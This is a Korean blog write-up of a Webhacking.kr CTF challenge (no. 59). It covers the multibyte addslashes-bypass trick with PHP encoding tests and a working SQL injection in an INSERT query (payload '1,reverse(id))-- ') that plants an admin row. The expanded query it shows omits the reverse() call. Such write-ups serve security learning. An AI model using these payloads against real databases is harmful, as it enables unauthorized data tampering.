본문 바로가기
[웹해킹]/[Webhacking.kr]

[Webhacking.kr] 59번 + 멀티 바이트 취약점 정리

by Hevton 2020. 11. 28.
반응형

200점짜리주제에.. 내가 못풀어서 답을 찾게했다 ㅠ.

 

 

소스보기

<?php
  include "../../config.php";
  if($_GET['view_source']) view_source();
  $db = dbconnect();
  if($_POST['lid'] && isset($_POST['lphone'])){
    $_POST['lid'] = addslashes($_POST['lid']);
    $_POST['lphone'] = addslashes($_POST['lphone']);
    $result = mysqli_fetch_array(mysqli_query($db,"select id,lv from chall59 where id='{$_POST['lid']}' and phone='{$_POST['lphone']}'"));
    if($result['id']){
      echo "id : {$result['id']}<br>lv : {$result['lv']}<br><br>";
      if($result['lv'] == "admin"){
      mysqli_query($db,"delete from chall59");
      solve(59);
    }
    echo "<br><a href=./?view_source=1>view-source</a>";
    exit();
    }
  }
  if($_POST['id'] && isset($_POST['phone'])){
    $_POST['id'] = addslashes($_POST['id']);
    $_POST['phone'] = addslashes($_POST['phone']);
    if(strlen($_POST['phone'])>=20) exit("Access Denied");
    if(preg_match("/admin/i",$_POST['id'])) exit("Access Denied");
    if(preg_match("/admin|0x|#|hex|char|ascii|ord|select/i",$_POST['phone'])) exit("Access Denied");
    mysqli_query($db,"insert into chall59 values('{$_POST['id']}',{$_POST['phone']},'guest')");
  }
?>
<html><head><title>Challenge 59</title></head><body>
<form method=post>
<table border=1>
<tr><td></td><td>ID</td><td>PHONE</td><td></td></tr>
<tr><td>JOIN</td><td><input name=id></td><td><input name=phone></td><td><input type=submit></td></tr>
<tr><td>LOGIN</td><td><input name=lid></td><td><input name=lphone></td><td><input type=submit></td></tr>
</form>
<br>
<a href=./?view_source=1>view-source</a>
</body></html>

 

처음엔 0b 이진수가 안막혀있길래 이 방식으로 풀려 했으나 strlen이 20이 넘어버려서 포기.

 

 

 

그리고 addslahses의 우회방법을 생각해봤다.

그러다가 산으로 간 이야기 START..

 

멀티바이트 취약점을 사용해봤다. 안먹힌다… 하..

이게 언제 먹히고 언제 안먹히는진 아직 잘 모르겠다.. mb_convert가 꼭 사용되어야 하나..

 

 

그래서 짜증나서 이김에 좀 알아봤다.

기본적으로 유니코드 기반의 단일 인코딩에선 먹히지 않는다. 내 생각대로 해당하는 문자가 없어서 아예 인식을 하질 못한다. (%bf%5c%27 -> 깨진문자/‘ )

근데 mb_convert_encoding(utf-8, euc-kr)이 먹혔던 이유는 destination 은 utf-8이나, euc-kr인 멀티바이트에서 %aa~%fe 뒤에 %5C가 오면 한 문자로 인식하고(어떤문자인지는 존재하지않음), 그 기반 그대로 utf-8에서도 한 문자로 인식한 상태가 되므로 문자 하나의 자리를 차지하게 된다(?라고 뜬다).

 

참고로 기본적으로 멀티바이트 기반인 euc-kr 단일 인코딩 환경에서도 먹히는 것이다. 멀티바이트 환경에서 먹히는 취약점이니까.

멀티바이트를 사용했다는걸 보여주고 + 표준인코딩으로 바꿔주는 작업을 그냥 명시해준 것 같다.

 

정리하면, 해당 취약점은 멀티바이트 기반에선 먹히고, 유니코드 기반에선 먹히지 않는다. 

멀티바이트는 문자 1:1대응이 아닌 취약점으로부터 %aa ~ %fe 뒤에 %5C가 오면 한 문자로 인식하는데, 유니코드에서는 문자 1:1 대응이라, 존재하지 않는 문자는 아예 깨져버린다. 멀티바이트인 euc-kr 에서 유니코드인 utf-8로의 변환에서 먹히는 이유는, ‘인코딩 변환 과정’에서 euc-kr에서 한 문자로 인식된 그 상태로 인해 유니코드에서도 한 문자로 인식되기 때문에 자리를 차지하게 되어서라고 생각하면 되겠다.

 

 

<?php

$a = '%bf%5C%27';

echo urldecode($a);

 

->

\'

 

 

<?php

$a = '%bf%5C%27';

echo mb_convert_encoding(urldecode($a),'utf-8','euc-kr');

 

->

?'

 

 

<?php

$a = '%bf%5C%27';

echo mb_convert_encoding(urldecode($a), 'utf-8','gbk');

 

->

?'

 

 

<?php

$a = '%bf%5C%27';

echo mb_convert_encoding(urldecode($a), 'gbk','euc-kr');

 

->

?'

 

 

<?php

$a = '%bf%5C%27';

echo mb_convert_encoding(urldecode($a), 'euc-kr','gbk');

 

->

~'

 

 

<?php

$a = '%bf%5C%27';

echo mb_convert_encoding(urldecode($a), 'euc-kr','euc-kr');

 

->

\'

 

 

<?php

$a = '%bf%5C%27';

echo mb_convert_encoding(urldecode($a), 'gbk','gbk');

 

->

\'

 

 

이를 토대로, ‘인코딩 변환’에선 기반이 멀티바이트면 취약점이 먹히나 동일 인코딩사이의 변환에선 먹히지 않는다.

기반이 멀티바이트가 아니면 아예 먹히지도 않는다.

 

변환이라 그렇지, 단일로 그냥 멀티바이트 인코딩 환경에선 취약점이 먹힌다.

ex) gbk

http://server1.sharewiz.net/doku.php?id=sql_injection_-_example_attacks:sql_injection_attack_against_php_addslashes

 

https://stackoverflow.com/questions/5133022/php-addslashes-sql-injection-still-valid

 

참고:

 

 

https://stackoverflow.com/questions/5741187/sql-injection-that-gets-around-mysql-real-escape-string

https://stackoverflow.com/questions/16565189/can-addslashes-be-bypassed-when-using-utf-and-single-quotes

https://stackoverflow.com/questions/14561666/sql-injection-on-delete-query/14561769#14561769

https://stackoverflow.com/questions/534742/what-does-mysql-real-escape-string-do-that-addslashes-doesnt/16450119#16450119

 

 

어쩌다 산으로 갔는데.. 다시 돌아와서... 문제를 풀자면, 이번에 새로 알게 된 내용이 있다.

컬럼명을 SQL 쿼리로 전달하는게, SELECT 에서 뿐 만 아니라 INSERT 에서도 가능했다.

mysql> insert into book values (7, 'hi', title, 5);
Query OK, 1 row affected (0.01 sec)

mysql> select * from book;
+----+-------------+---------------+----------+
| id | title       | description   | maker_id |
+----+-------------+---------------+----------+
|  1 | About Music | Music is Life |        1 |
|  2 | About Life  | Life is alone |        1 |
|  3 | Math Book   | Math.PI...    |        2 |
|  4 | Novel Book  | I am handsome |        3 |
|  5 | About Time  | TimeTravel    |        1 |
|  6 | I'm hevton  | by hevton     |        4 |
|  7 | hi          | hi            |        5 |
+----+-------------+---------------+----------+
7 rows in set (0.00 sec)

 

바로 앞에서 쓴 'title 컬럼에 들어갈 값'을 title로 다시 참조할 수가 있다는 것..!

이렇게 보면 더 쉽다.

mysql> insert into book (id, title, description, maker_id) values (7, 'hi', title, 5);

 

그리고 문자열 새로운 우회 방법으로 SQL 의 reverse() 함수에 대해서도 알게됐다. 이를 이용하면 

 

JOIN 에서 아래와 같이 입력

id= nimda

phone= 1,reverse(id))-- 

 

->

insert into chall59 values('nimda',1,id)-- ,'guest')

이렇게 되는것..!!!

이건 앞의값이 쿼터로 감싸져있고, 뒤에값은 쿼터로 안감싸져있을 때 사용할 수 있는 우회법인 것 같다.

 

암튼 이렇게한 뒤에

nimda, 1로 로그인해주면 문제가 풀린다. 많이 배워간다.!!

 

어려웠어

 

반응형

'[웹해킹] > [Webhacking.kr]' 카테고리의 다른 글

[Webhacking.kr] 61번  (0) 2020.11.29
[Webhacking.kr] 60번  (0) 2020.11.29
[Webhacking.kr] 58번  (0) 2020.11.27
[Webhacking.kr] 57번  (0) 2020.11.26
[Webhacking.kr] 56번  (0) 2020.11.25